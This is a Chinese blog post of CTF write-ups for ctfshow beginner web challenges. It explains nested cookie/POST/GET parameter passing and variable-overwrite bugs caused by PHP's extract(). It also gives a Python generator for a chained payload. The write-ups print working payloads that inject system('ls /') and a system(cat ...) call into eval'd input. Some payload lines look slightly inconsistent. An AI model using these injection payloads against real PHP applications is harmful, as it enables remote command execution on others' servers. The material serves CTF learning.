首页 > 其他分享 >ctf 菜鸟杯

ctf 菜鸟杯

时间:2022-12-22 22:44:35浏览次数:39  
标签:变量 传入 菜鸟 system ctf test extract 函数

web签到

 

 

首先最里面的是ctfshow-QQ群:,而他需要进行cookie传参,因此我们需要在cookie传入CTFshow-QQ群=a,然后就要以POST方式传入a的值,我们传入a=b,而b是以GET方式来传入b的值,所以我们传入c=b,最后我们需要知道$_REQUEST是以任何一种方式请求都可以,而c为数组,$_REQUEST请求中传入的值赋给c[6][0][7][5][8][0][9][4][4]

payload:

post:a=b

cookie:CTFshow-QQ%E7%BE%A4:=a  

get:?b=c&c[6][0][7][5][8][0][9][4][4]=system('ls /');

 (这里需要把群进行url编码)

我的眼里只有$

 

 这是一道extract()函数引起的变量覆盖漏洞

 该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量,但是当变量中有同名的元素时,该函数默认将原有的值给覆盖掉。这就造成了变量覆盖漏洞。

1、这道题将post传入的值通过extract函数进行处理。

2、不断的进行变量覆盖(套娃)

例如当我们Post传入_=a时,那么$_=a,再传入a=b时$$_=b,以此类推,而最后一个值就是我们eval的值。

所以我们需要传入_=a&a=b&b=c.......

因为传的参数较多,所以我们写一个脚本就可以了。

import string
s = string.ascii_letters
t='_=a&'
code="system('ls /');"
for i in range(35):
    t+=s[i]+"="+s[i+1]+'&'

t+=s[i]+'='+code
print(t)


payload:_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=J&I=system('ls /');

_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=J&I=system(cat f1agaaa);

有一道和这相似的一道题:

 

 

 首先看这一串代码可知道,这也是一道extract函数变量覆盖的题,首先他的text值我们是不知道的,但他利用了extract这个函数对get传入的值进行了处理,并且最终只要$gift等于$content便可以获得flag,而他的$content是通过变量$test获得的,但是我们不知道test的值。所以这时候我们就需要利用变量覆盖漏洞给test重新赋值就行了

payload:gift=a&test= a

 

标签:变量,传入,菜鸟,system,ctf,test,extract,函数
From: https://www.cnblogs.com/kode00/p/16994166.html

相关文章

  • CTFSHOW_菜狗杯_WEB
    web签到<?php/*#-*-coding:utf-8-*-#@Author:h1xa#@Date:2022-11-1017:20:38#@LastModifiedby:h1xa#@LastModifiedtime:2022-11-1109:38:59......
  • whctf2017_stackoverflow
    whctf2017_stackoverflow前几天做的一道题几乎都是看zikh26师傅的文章写的,自己太菜,源码也才开始看保护策略漏洞分析可以泄露我们想要的地址,还有一个可以任意地址写一......
  • buuoj-pwn-starctf_2019_babyshell
    buuoj-pwn-starctf_2019_babyshell逆向分析GLIBCubuntu16,不涉及内存管理也没啥需要讲的关键函数主函数__int64__fastcallmain(__int64a1,char**a2,char**a3......
  • 漏洞复现-hxpctf2020
    hxpCTF2020做kernel利用讲解。主要易受攻击模块是hackme.ko。分析内核模块:Hackme_init()它注册一个名为hackme的设备驱动文件Hackme_read()设备驱动的read操作H......
  • [PingCTF2022] 题目分享 - S1gMa
    前言本题来自PingCTF2022-guesswhat,早上12点被树木喊起来对超极长的代码审计和写\(exp\),俩人之间干到下午\(6\)点,对着一个不存在的错误\(debug\)了\(4\)个小时......
  • [机器学习] 特征选择笔记4-使用SelectFromModel特征选择
    特征选择​​​代码下载​​​本文主要介绍sklearn中进行特征选择的方法。​​sklearn.feature_selection​​模块中的类可用于样本集的特征选择/降维,以提高估计量的准确性......
  • BUUCTF Java逆向解密
    BUUCTFJava逆向解密需要用专门的Java反编译软件:jd-gui    点开应用程序打开class文件       发现加密方式与KEY.接下来写出解密脚本就可以了.......
  • buuoj-[ACTF新生赛2020]Oruga
    1.无壳64bit2.找到main函数3.进入sub_78A,:_BOOL8__fastcallsub_78A(__int64a1){intv2;//[rsp+Ch][rbp-Ch]intv3;//[rsp+10h][rbp-8h]intv4;//......
  • buuoj-[WUSTCTF2020]Cr0ssfun
    1.64bitnowinexe直接打开2.找到main函数当check(flag)这个函数==1的时候,才正确3.步入:耐心一点,一个一个扣出来就行了。。。a1=[0]*33a1[10]=112a1[13]=6......
  • BUUCTF Helloword 特别简单的安卓逆向
    BUUCTFHelloword特别简单的安卓逆向 用apkide打开即可工具下载:https://down.52pojie.cn/Tools/   点击左上角的项目打开apk文件,找到主函数.   安卓......